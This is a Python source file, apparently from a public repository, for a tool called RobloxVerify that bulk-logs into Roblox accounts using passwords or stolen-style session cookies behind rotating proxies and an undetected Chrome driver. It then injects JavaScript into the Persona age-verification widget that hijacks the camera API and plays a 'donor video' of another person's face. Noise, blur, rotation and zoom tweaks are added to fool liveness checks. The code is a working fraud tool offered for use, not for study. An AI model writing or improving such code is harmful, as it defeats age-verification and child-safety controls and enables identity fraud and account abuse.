Files
RobloxVerify/main.py
T
TheRaiwy 19a6c81e51
tests / test (push) Successful in 6s
tests / release (push) Successful in 6s
Auto-zoom out 1% when Persona says 'Move further away'
2026-07-10 20:54:54 +03:00

878 lines
32 KiB
Python

from __future__ import annotations
import io
import json
import logging
import os
import random
import subprocess
import sys
import time
import urllib.request
from concurrent.futures import ThreadPoolExecutor, as_completed
from datetime import datetime
from pathlib import Path
import cv2
import threading
sys.stdout = io.TextIOWrapper(sys.stdout.buffer, encoding="utf-8")
import undetected_chromedriver as uc
from selenium.webdriver.common.action_chains import ActionChains
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
PROXY_FILE = Path("proxy.txt")
ACCOUNTS_FILE = Path("accs.txt")
LOCAL_BRIDGE_HOST = "127.0.0.1"
LOCAL_BRIDGE_PORT = 18080
LOG_DIR = Path("logs")
VIDEOS_DIR = Path("videos")
HAAR_PATH = Path("haarcascade_frontalface_default.xml")
THREADS = 3
TEST_MODE = "--test" in sys.argv
log: logging.Logger = None
RESULT_DIR: Path = None
_processed_logins: set = set() # accounts finished (any outcome)
# Thread-safety primitives
_chrome_lock = threading.Lock()
_port_locks = [threading.Lock() for _ in range(THREADS)]
_port_owners = [None] * THREADS
def load_proxies() -> list[str]:
"""Returns list of normalized socks5:// proxy strings."""
if not PROXY_FILE.exists():
return []
proxies = []
for line in PROXY_FILE.read_text(encoding="utf-8").splitlines():
line = line.strip()
if not line or line.startswith("#"):
continue
s = line.replace("socks5://", "")
if "@" in s:
auth, rest = s.split("@", 1)
user, pw = auth.split(":", 1)
host, port = rest.split(":", 1)
proxies.append(f"socks5://{user}:{pw}@{host}:{port}")
else:
parts = s.split(":")
if len(parts) == 4:
# host:port:user:pass
host, port, user, pw = parts
proxies.append(f"socks5://{user}:{pw}@{host}:{port}")
elif len(parts) == 2:
host, port = parts
proxies.append(f"socks5://{host}:{port}")
return proxies
def parse_account_line(line: str) -> dict | None:
raw = line.strip()
result = {"_raw": raw}
first = raw.find(":")
if first == -1:
if len(raw) > 50 or raw.startswith("_|WARNING"):
result.update({"login": "", "password": "", "cookie": raw})
return result
return None
login_part = raw[:first]
rest_after_first = raw[first + 1:]
# cookie-only: login_part выглядит как начало куки
if login_part.startswith("_|WARNING"):
result.update({"login": "", "password": "", "cookie": raw})
return result
# login:cookie — кука начинается сразу после первого :
if rest_after_first.startswith("_|WARNING"):
result.update({"login": login_part, "password": "", "cookie": rest_after_first})
return result
# login:pass:cookie или login:pass
second = rest_after_first.find(":")
if second != -1:
result.update({"login": login_part, "password": rest_after_first[:second], "cookie": rest_after_first[second + 1:]})
return result
# Без второго : — login:pass или login:cookie (кука без _|WARNING)
if len(rest_after_first) > 50:
result.update({"login": login_part, "password": "", "cookie": rest_after_first})
else:
result.update({"login": login_part, "password": rest_after_first, "cookie": ""})
return result
def start_pproxy_bridge(proxy: str, port: int) -> subprocess.Popen | None:
remote = proxy
s = proxy.replace("socks5://", "", 1)
if "@" in s:
auth, rest = s.split("@", 1)
remote = f"socks5://{rest}#{auth}"
env = os.environ.copy()
env["PYTHONIOENCODING"] = "utf-8"
for attempt in range(5):
try:
proc = subprocess.Popen(
[sys.executable, "-m", "pproxy", "-l", f"http://{LOCAL_BRIDGE_HOST}:{port}", "-r", remote, "-v"],
stdout=subprocess.DEVNULL,
stderr=subprocess.PIPE,
text=True,
env=env,
)
time.sleep(1.5)
if proc.poll() is not None:
err = proc.stderr.read() if proc.stderr else ""
log.error("pproxy on port %d failed (attempt %d/5): %s", port, attempt + 1, err.strip()[:200])
time.sleep(2)
continue
return proc
except OSError as e:
log.warning("pproxy on port %d attempt %d/5: %s", port, attempt + 1, e)
time.sleep(2)
return None
def _ensure_haar_cascade() -> str:
if HAAR_PATH.exists():
return str(HAAR_PATH)
url = "https://raw.githubusercontent.com/opencv/opencv/master/data/haarcascades/haarcascade_frontalface_default.xml"
log.info("Downloading haarcascade_frontalface_default.xml...")
urllib.request.urlretrieve(url, str(HAAR_PATH))
return str(HAAR_PATH)
def _list_videos() -> list[Path]:
video_exts = {".mp4", ".webm", ".avi", ".mov", ".mkv"}
if not VIDEOS_DIR.exists():
return []
return sorted([f for f in VIDEOS_DIR.iterdir() if f.suffix.lower() in video_exts and not f.name.startswith(".")])
def _get_video_size(video_path: Path) -> tuple[int, int]:
cap = cv2.VideoCapture(str(video_path))
w = int(cap.get(cv2.CAP_PROP_FRAME_WIDTH))
h = int(cap.get(cv2.CAP_PROP_FRAME_HEIGHT))
cap.release()
return w, h
def _get_video_duration(video_path: Path) -> float:
cap = cv2.VideoCapture(str(video_path))
fps = cap.get(cv2.CAP_PROP_FPS)
count = int(cap.get(cv2.CAP_PROP_FRAME_COUNT))
cap.release()
if fps <= 0:
return 0
return count / fps
def _extract_frames_jpg_b64(video_path: Path, w: int, h: int, step: int = 2) -> list[str]:
import cv2
import base64
cap = cv2.VideoCapture(str(video_path))
ow = int(cap.get(cv2.CAP_PROP_FRAME_WIDTH))
oh = int(cap.get(cv2.CAP_PROP_FRAME_HEIGHT))
frames = []
idx = 0
while True:
ret, frame = cap.read()
if not ret:
break
if idx % step != 0:
idx += 1
continue
idx += 1
if (ow, oh) != (w, h):
frame = cv2.resize(frame, (w, h))
frames.append(frame)
cap.release()
result = []
for frame in frames:
_, buf = cv2.imencode(".jpg", frame, [cv2.IMWRITE_JPEG_QUALITY, 85])
result.append(base64.b64encode(buf.tobytes()).decode())
return result
def _analyze_video_directions(video_path: Path) -> tuple[dict[str, list[int]], list[float]]:
"""Returns (dir_ranges, face_cx_list).
dir_ranges: {dir: [start_frame, end_frame]} for center/left/right.
face_cx_list: face center X per frame (original coords), -1 if no face.
"""
haar_src = cv2.objdetect if hasattr(cv2, "objdetect") and hasattr(cv2.objdetect, "CascadeClassifier") else cv2
if not hasattr(haar_src, "CascadeClassifier"):
raise RuntimeError(
"cv2.CascadeClassifier not available. "
"Reinstall opencv-python: pip install --force-reinstall opencv-python"
)
haar_path = _ensure_haar_cascade()
face_cascade = haar_src.CascadeClassifier(haar_path)
cap = cv2.VideoCapture(str(video_path))
fw = int(cap.get(cv2.CAP_PROP_FRAME_WIDTH))
low = fw * 0.45
high = fw * 0.55
directions = []
cx_list = []
while True:
ret, frame = cap.read()
if not ret:
break
gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)
faces = face_cascade.detectMultiScale(gray, 1.1, 5, minSize=(60, 60))
if len(faces) > 0:
x, _, fw_face, _ = faces[0]
cx = x + fw_face / 2
cx_list.append(cx)
if cx < low:
directions.append("right")
elif cx > high:
directions.append("left")
else:
directions.append("center")
else:
cx_list.append(-1.0)
directions.append("center")
cap.release()
ranges: dict[str, list[int]] = {"center": [], "left": [], "right": []}
for d in ranges:
start = None
for i, v in enumerate(directions):
if v == d and start is None:
start = i
elif v != d and start is not None:
if i - start >= 5:
ranges[d].append([start, i - 1])
start = None
if start is not None and len(directions) - start >= 5:
ranges[d].append([start, len(directions) - 1])
result = {}
for d, segs in ranges.items():
if segs:
result[d] = max(segs, key=lambda s: s[1] - s[0])
else:
result[d] = [0, 0]
return result, cx_list
def setup_logger() -> logging.Logger:
LOG_DIR.mkdir(exist_ok=True)
ts = datetime.now().strftime("%Y-%m-%d_%H-%M-%S")
log_file = LOG_DIR / f"session_{ts}.log"
logger = logging.getLogger("robverify")
logger.setLevel(logging.INFO)
fmt = logging.Formatter("%(asctime)s [%(levelname)s] %(message)s")
fh = logging.FileHandler(log_file, encoding="utf-8")
fh.setFormatter(fmt)
logger.addHandler(fh)
sh = logging.StreamHandler(sys.stdout)
sh.setFormatter(fmt)
logger.addHandler(sh)
return logger
def human_type(element, text: str) -> None:
for ch in text:
element.send_keys(ch)
time.sleep(random.uniform(0.03, 0.12))
def save_result(acc: dict, category: str, msg: str = "") -> None:
label = f"{acc['login']}:{acc['password']}" if acc['password'] else acc['login']
if not label:
label = acc['cookie'][:40] + "..."
line = f"{label} - {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}"
if msg:
line += f" - {msg}"
file_path = RESULT_DIR / f"{category}.txt"
with open(file_path, "a", encoding="utf-8") as f:
f.write(line + "\n")
log.info("Saved to %s", file_path.name)
def _cookie_login(driver, cookie: str) -> bool:
driver.get("https://www.roblox.com")
time.sleep(2)
try:
accept = WebDriverWait(driver, 3).until(EC.element_to_be_clickable((By.XPATH, "//button[text()='Accept All']")))
accept.click()
time.sleep(1)
except Exception:
pass
try:
driver.execute_cdp_cmd("Network.setCookie", {
"name": ".ROBLOSECURITY",
"value": cookie,
"domain": ".roblox.com",
"path": "/",
"secure": True,
"httpOnly": True,
})
except Exception:
driver.add_cookie({"name": ".ROBLOSECURITY", "value": cookie, "domain": ".roblox.com"})
driver.get("https://www.roblox.com/home")
time.sleep(4)
return "/login" not in driver.current_url
def process_account(driver, acc: dict, donor_video: Path | None,
frames_b64: list[str] | None = None, w: int = 0, h: int = 0,
dir_ranges: dict | None = None, speed_multiplier: float = 1.0) -> bool:
login, password, cookie = acc["login"], acc["password"], acc["cookie"]
log.info("=== %s ===", login or "cookie-only")
if cookie:
if _cookie_login(driver, cookie):
log.info("Logged in via cookie")
elif login and password:
log.info("Cookie expired, falling back to login:pass")
cookie = ""
else:
log.warning("Cookie expired and no password — skipping")
return False
if not cookie:
driver.get("https://www.roblox.com/login")
WebDriverWait(driver, 15).until(EC.presence_of_element_located((By.ID, "login-username")))
try:
accept = WebDriverWait(driver, 3).until(EC.element_to_be_clickable((By.XPATH, "//button[text()='Accept All']")))
accept.click()
time.sleep(1)
except Exception:
pass
# close any modal dialogs blocking the login form
for _ in range(10):
try:
modal = driver.find_element(By.XPATH, "//h4[@class='modal-title']/ancestor::div[contains(@class, 'modal')]")
close_btn = modal.find_element(By.XPATH, ".//button[contains(@class, 'close')]")
close_btn.click()
log.info("Dismissed login modal")
time.sleep(1)
except Exception:
break
username_input = WebDriverWait(driver, 10).until(EC.element_to_be_clickable((By.ID, "login-username")))
ActionChains(driver).move_to_element(username_input).pause(0.3).perform()
time.sleep(0.1); username_input.click(); time.sleep(0.1); username_input.clear()
human_type(username_input, login)
password_input = WebDriverWait(driver, 10).until(EC.element_to_be_clickable((By.ID, "login-password")))
ActionChains(driver).move_to_element(password_input).pause(0.3).perform()
time.sleep(0.1); password_input.click(); time.sleep(0.1); password_input.clear()
human_type(password_input, password)
login_btn = WebDriverWait(driver, 10).until(EC.element_to_be_clickable((By.ID, "login-button")))
ActionChains(driver).move_to_element(login_btn).pause(0.2).perform()
time.sleep(0.1); login_btn.click()
WebDriverWait(driver, 30).until(lambda d: "/login" not in d.current_url)
try:
agree = WebDriverWait(driver, 3).until(EC.element_to_be_clickable((By.XPATH, "//button[contains(@class, 'modal-button') and contains(@class, 'btn-control-md')]")))
agree.click()
log.info("Accepted Updated Agreements")
time.sleep(2)
except Exception:
pass
driver.get("https://www.roblox.com/my/account#!/info")
time.sleep(3)
try:
body = driver.find_element(By.TAG_NAME, "body").text
if "Did we get your age group right" in body:
log.info("VERIFIED: already verified (age group banner)")
save_result(acc, "verified", "age group banner")
return "verified"
except Exception:
pass
try:
close_btn = driver.find_element(By.XPATH, "//div[@data-state='open' and contains(@class, 'dialog-overlay')]/..//button[contains(@class, 'icon')]")
close_btn.click()
log.info("Dismissed overlay dialog")
time.sleep(1)
except Exception:
pass
camera_btn = WebDriverWait(driver, 15).until(
EC.element_to_be_clickable((By.XPATH, "//button[contains(@class, 'age-verification-button')]"))
)
try:
camera_btn.click()
except Exception:
driver.execute_script("arguments[0].click();", camera_btn)
log.info("Clicked camera button via JS")
time.sleep(15)
for text in ["Sorry, your verification was declined", "Session expired"]:
try:
el = driver.find_element(By.XPATH, f"//*[contains(text(), '{text}')]")
msg = el.text
log.info(msg)
cat = "expired" if "Session expired" in msg else "declined"
save_result(acc, cat, msg)
return "Session expired" in msg
except Exception:
pass
try:
allow_btn = WebDriverWait(driver, 5).until(
EC.element_to_be_clickable((By.XPATH, "//button[contains(text(), 'Continue')] | //button[contains(text(), 'Allow')] | //button[contains(text(), 'Accept')]"))
)
allow_btn.click()
log.info("Accepted Roblox permission dialog")
time.sleep(3)
except Exception:
log.info("No permission dialog to accept")
if not donor_video:
log.info("No donor video — all clear.")
return False
try:
iframe = WebDriverWait(driver, 10).until(
EC.presence_of_element_located((By.XPATH, "//iframe[contains(@src, '/widget') or contains(@src, 'inquiry.withpersona.com/widget')]"))
)
log.info("Persona iframe found")
except Exception:
log.warning("Persona widget iframe not found, will retry")
return True
if frames_b64 is None and donor_video:
w, h = _get_video_size(donor_video)
if dir_ranges is None:
dir_ranges, _ = _analyze_video_directions(donor_video)
frames_b64 = _extract_frames_jpg_b64(donor_video, w, h, step=2)
log.info("Extracted %d frames from %s", len(frames_b64), donor_video.name)
if dir_ranges is None and donor_video:
dir_ranges, _ = _analyze_video_directions(donor_video)
log.info("Direction ranges: %s", dir_ranges)
driver.switch_to.frame(iframe)
log.info("Switched to Persona iframe")
try:
body_text = driver.find_element(By.TAG_NAME, "body").text
if "Session expired" in body_text:
log.info("Session expired detected in Persona iframe before video flow")
save_result(acc, "expired", "in iframe before video")
driver.switch_to.default_content()
return True
except Exception:
pass
try:
consent = driver.find_element(By.XPATH, "//input[@type='checkbox' and @aria-label='I consent to the processing of my biometric information']")
driver.execute_script("arguments[0].click();", consent)
log.info("Biometric consent checkbox clicked")
time.sleep(0.5)
except Exception:
pass
all_b64 = ",".join(frames_b64)
script = f"""
(function() {{
if (window.__camReady) return;
window.__camReady = true;
var _frames = '{all_b64}'.split(',');
var _canvas, _stream, _idx = 0, _paused = true;
var _currentDir = 'center';
var _pulseTheta = 0, _pulseFreq = 0.05, _pulseIntensity = 0.003;
var _frameInterval = Math.round(33 / {speed_multiplier});
var _streamResolve;
var _streamPromise = new Promise(function(r) {{ _streamResolve = r; }});
var _rotation = 0, _warmth = 0, _filter = 'none', _scaleX = 1, _scaleY = 1;
function _applyArtifacts(ctx, w, h) {{
var imgData = ctx.getImageData(0, 0, w, h);
var data = imgData.data;
_pulseTheta += _pulseFreq;
var pulseDelta = Math.sin(_pulseTheta) * _pulseIntensity;
var warmth = _warmth * 255;
for (var i = 0; i < data.length; i += 4) {{
var noise = (Math.random() - 0.5) * 6;
data[i] = Math.min(255, Math.max(0, data[i] + noise + (pulseDelta * 255) + warmth));
data[i + 1] = Math.min(255, Math.max(0, data[i + 1] + noise));
data[i + 2] = Math.min(255, Math.max(0, data[i + 2] + noise - warmth));
}}
ctx.putImageData(imgData, 0, 0);
ctx.translate((Math.random() - 0.5) * 0.4, (Math.random() - 0.5) * 0.4);
}}
function _draw() {{
if (!_paused) {{
_idx = (_idx + 1) % _frames.length;
}}
var img = new Image();
img.onload = function() {{
var ctx = _canvas.getContext('2d');
ctx.setTransform(1, 0, 0, 1, 0, 0);
ctx.clearRect(0, 0, _canvas.width, _canvas.height);
ctx.filter = _filter;
var cx = _canvas.width / 2, cy = _canvas.height / 2;
ctx.translate(cx, cy);
ctx.rotate(_rotation * Math.PI / 180);
ctx.scale(_scaleX, _scaleY);
if (_currentDir !== 'center') {{
ctx.scale(-1, 1);
}}
ctx.drawImage(img, -cx, -cy, _canvas.width, _canvas.height);
ctx.setTransform(1, 0, 0, 1, 0, 0);
ctx.filter = 'none';
_applyArtifacts(ctx, _canvas.width, _canvas.height);
setTimeout(_draw, _frameInterval);
}};
img.src = 'data:image/jpeg;base64,' + _frames[_idx];
}}
_canvas = document.createElement('canvas');
_canvas.width = {w};
_canvas.height = {h};
var img0 = new Image();
img0.onload = function() {{
var ctx = _canvas.getContext('2d');
ctx.drawImage(img0, 0, 0);
_applyArtifacts(ctx, _canvas.width, _canvas.height);
_stream = _canvas.captureStream(30);
_streamResolve(_stream);
}};
img0.src = 'data:image/jpeg;base64,' + _frames[0];
window.__startVideo = function() {{
_rotation = (Math.random() - 0.5) * 5;
_warmth = (Math.random() - 0.5) * 0.08;
var blur = (Math.random() * 0.5 + 0.2).toFixed(1) + 'px';
var contrast = (1 + (Math.random() - 0.5) * 0.1).toFixed(3);
var brightness = (1 + (Math.random() - 0.5) * 0.08).toFixed(3);
_filter = 'blur(' + blur + ') contrast(' + contrast + ') brightness(' + brightness + ')';
_scaleX = 1 + (Math.random() - 0.5) * 0.08;
_scaleY = 1 + (Math.random() - 0.5) * 0.08;
_paused = false;
_draw();
}};
window.__seekDirection = function(dir) {{ _currentDir = dir; }};
window.__zoomOut = function() {{ _scaleX *= 0.99; _scaleY *= 0.99; }};
if (navigator.mediaDevices) {{
navigator.mediaDevices.getUserMedia = function(constraints) {{
return _streamPromise;
}};
navigator.mediaDevices.enumerateDevices = function() {{
return Promise.resolve([{{deviceId:'cam',kind:'videoinput',label:'Cam',groupId:'g'}}]);
}};
}}
if (navigator.permissions) {{
var _pq = navigator.permissions.query.bind(navigator.permissions);
navigator.permissions.query = function(d) {{
if (d && d.name === 'camera') return Promise.resolve({{state:'granted',onchange:null}});
return _pq(d);
}};
}}
}})();
"""
driver.execute_script(script)
log.info("Camera override injected (%dx%d)", w, h)
time.sleep(10)
for _ in range(20):
try:
driver.find_element(By.XPATH, "//button[@data-test='button__primary' and @id='button_submit']").click()
log.info("Clicked primary Continue")
break
except Exception:
time.sleep(1)
for _ in range(20):
try:
driver.find_element(By.XPATH, "//button[@data-test='selfie-prompt__button--camera']").click()
log.info("Clicked selfie Continue")
time.sleep(3)
break
except Exception:
pass
try:
driver.find_element(By.XPATH, "//button[contains(@data-test, 'selfie') or contains(@aria-label, 'camera')]").click()
log.info("Clicked selfie Continue (fallback)")
time.sleep(3)
break
except Exception:
time.sleep(1)
log.info("Waiting for center instruction...")
for _ in range(60):
try:
alert = driver.find_element(By.XPATH, "//span[@role='alert']")
txt = alert.text.lower()
if "center" in txt or "центр" in txt or "look" in txt:
driver.execute_script("window.__startVideo();")
log.info("Center instruction detected, video started")
break
except Exception:
pass
try:
body = driver.find_element(By.TAG_NAME, "body")
if "center" in body.text.lower() or "центр" in body.text.lower() or "look straight" in body.text.lower():
driver.execute_script("window.__startVideo();")
log.info("Center instruction detected (body fallback), video started")
break
except Exception:
pass
time.sleep(1)
end_time = time.time() + 120
log.info("Verification loop — manual mode")
while time.time() < end_time:
try:
body = driver.find_element(By.TAG_NAME, "body").text
if "Try taking another photo" in body or "couldn't estimate your age" in body:
log.info("Photo rejected, restarting browser")
driver.switch_to.default_content()
return True
if "further away" in body.lower() or "move back" in body.lower():
driver.execute_script("window.__zoomOut();")
log.info("Zoomed out (further away detected)")
time.sleep(1)
if "Session expired" in body:
log.info("Session expired detected during verification")
driver.switch_to.default_content()
return True
if "estimated your age" in body.lower() and "full access" in body.lower():
log.info("VERIFIED: age verified successfully")
save_result(acc, "verified", "in iframe")
try:
ok_btn = driver.find_element(By.XPATH, "//button[@id='complete__button' and @data-test='button__primary']")
ok_btn.click()
time.sleep(2)
except Exception:
pass
driver.switch_to.default_content()
return "verified"
except Exception:
pass
time.sleep(2)
try:
body_text = driver.find_element(By.TAG_NAME, "body").text
if "Session expired" in body_text:
log.info("Session expired detected after verification")
driver.switch_to.default_content()
return True
except Exception:
pass
driver.switch_to.default_content()
try:
body = driver.find_element(By.TAG_NAME, "body").text
if "estimated your age" in body.lower() and "full access" in body.lower():
log.info("VERIFIED: age verified successfully")
save_result(acc, "verified", "main page")
return "verified"
except Exception:
pass
for text in ["Sorry, your verification was declined", "Session expired"]:
try:
el = driver.find_element(By.XPATH, f"//*[contains(text(), '{text}')]")
msg = el.text
log.info(msg)
cat = "expired" if "Session expired" in msg else "declined"
save_result(acc, cat, msg)
return "Session expired" in msg
except Exception:
pass
log.info("Verification timed out — restarting")
save_result(acc, "pending", "no result in 120s loop")
return True
def ensure_files() -> None:
if not PROXY_FILE.exists():
PROXY_FILE.write_text("# Format: socks5://user:pass@host:port\n# Or: host:port:user:pass\n# Or: host:port\n", encoding="utf-8")
log.info("Created %s — fill in your proxy.", PROXY_FILE)
if not ACCOUNTS_FILE.exists():
ACCOUNTS_FILE.write_text("# Format: login:pass or login:pass:cookie or login:cookie or just-cookie\n", encoding="utf-8")
log.info("Created %s — add your accounts.", ACCOUNTS_FILE)
def _acquire_port(tid: int) -> int:
"""Claim a port slot. Blocks until a slot is free."""
slot = tid % THREADS
_port_locks[slot].acquire()
_port_owners[slot] = threading.current_thread().name
return LOCAL_BRIDGE_PORT + slot
def _release_port(port: int) -> None:
slot = port - LOCAL_BRIDGE_PORT
if 0 <= slot < THREADS:
_port_owners[slot] = None
_port_locks[slot].release()
def _process_one(tid: int, acc: dict,
all_videos: list[Path], all_proxies: list[str],
result_dir: Path) -> None:
"""Process one account in its own thread."""
global log
login = acc["login"] or acc["cookie"][:20] + "..."
proxy = random.choice(all_proxies) if all_proxies else None
donor_video = random.choice(all_videos)
log.info("[T%d] === %s — video: %s%s ===", tid, login, donor_video.name,
f" proxy: {proxy}" if proxy else "")
try:
fw, fh = _get_video_size(donor_video)
dur = _get_video_duration(donor_video)
speed_multiplier = 0.5 if dur < 15 else 1.0
if speed_multiplier < 1:
log.info("Video is %.1fs — slowing playback to %.0f%%", dur, speed_multiplier * 100)
dir_ranges, _ = _analyze_video_directions(donor_video)
frames_b64 = _extract_frames_jpg_b64(donor_video, fw, fh, step=2)
except Exception as e:
log.error("[T%d] Video analysis failed for %s: %s", tid, login, e)
_processed_logins.add(login)
return
port = _acquire_port(tid)
try:
pproxy_proc = start_pproxy_bridge(proxy, port) if proxy else None
max_retries = 15
for attempt in range(max_retries):
options = uc.ChromeOptions()
options.add_argument("--disable-blink-features=AutomationControlled")
if pproxy_proc:
options.add_argument(f"--proxy-server=http://{LOCAL_BRIDGE_HOST}:{port}")
driver = None
try:
with _chrome_lock:
driver = uc.Chrome(options=options, headless=False)
result = process_account(driver, acc, donor_video, frames_b64, fw, fh, dir_ranges, speed_multiplier)
if result == "verified":
log.info("[T%d] Account verified", tid)
elif not result:
log.info("[T%d] Account done (no retry needed)", tid)
else:
log.info("[T%d] Session expired, retrying (attempt %d/%d)", tid, attempt + 1, max_retries)
continue
break
except Exception as e:
log.error("[T%d] Error: %s (attempt %d/%d)", tid, e, attempt + 1, max_retries)
if attempt + 1 < max_retries:
log.info("[T%d] Retrying after error...", tid)
time.sleep(5)
continue
break
finally:
if TEST_MODE:
input(f"[T{tid}] Press Enter to close browser for {login} and continue...\n")
if driver:
try:
driver.quit()
except Exception:
pass
try:
driver.__class__.__del__ = lambda s: None
except Exception:
pass
if pproxy_proc:
pproxy_proc.terminate()
try:
pproxy_proc.wait(timeout=5)
except Exception:
pass
finally:
_release_port(port)
_processed_logins.add(login)
def main() -> None:
global log, RESULT_DIR
log = setup_logger()
ts = datetime.now().strftime("%Y-%m-%d_%H-%M-%S")
RESULT_DIR = Path("result") / ts.replace(":", "-")
RESULT_DIR.mkdir(parents=True, exist_ok=True)
log.info("Results: %s", RESULT_DIR)
log.info("Threads: %d", THREADS)
if TEST_MODE:
log.info("TEST MODE enabled — will pause between accounts.")
ensure_files()
all_proxies = load_proxies()
if PROXY_FILE.exists() and PROXY_FILE.read_text(encoding="utf-8").strip() and not all_proxies:
log.warning("Invalid proxy format in %s, running without proxy", PROXY_FILE)
raw_lines = [l.strip() for l in ACCOUNTS_FILE.read_text(encoding="utf-8").splitlines()
if l.strip() and not l.startswith("#")]
accounts = []
for line in raw_lines:
parsed = parse_account_line(line)
if parsed:
accounts.append(parsed)
else:
log.warning("Skipping unrecognized line: %s", line)
if not accounts:
log.error("No valid accounts found in %s (formats: login:pass, login:pass:cookie, login:cookie, or just cookie)", ACCOUNTS_FILE)
return
all_videos = _list_videos()
if not all_videos:
log.error("No videos in videos/")
return
log.info("Found %d accounts, %d videos, %d proxies", len(accounts), len(all_videos), len(all_proxies))
# Process accounts in parallel
finished_lines = []
with ThreadPoolExecutor(max_workers=THREADS) as pool:
fut_map = {}
for tid, acc in enumerate(accounts):
fut = pool.submit(_process_one, tid, acc,
all_videos, all_proxies, RESULT_DIR)
fut_map[fut] = acc
for fut in as_completed(fut_map):
acc = fut_map[fut]
try:
fut.result()
except Exception as e:
label = acc["login"] or acc["cookie"][:20]
log.error("Thread crashed on %s: %s", label, e)
finished_lines.append(acc["_raw"])
# Remove all processed accounts from accs.txt
remaining = [l for l in ACCOUNTS_FILE.read_text(encoding="utf-8").splitlines()
if l.strip() not in finished_lines]
ACCOUNTS_FILE.write_text("\n".join(remaining) + "\n", encoding="utf-8") if remaining else ACCOUNTS_FILE.write_text("", encoding="utf-8")
if __name__ == "__main__":
main()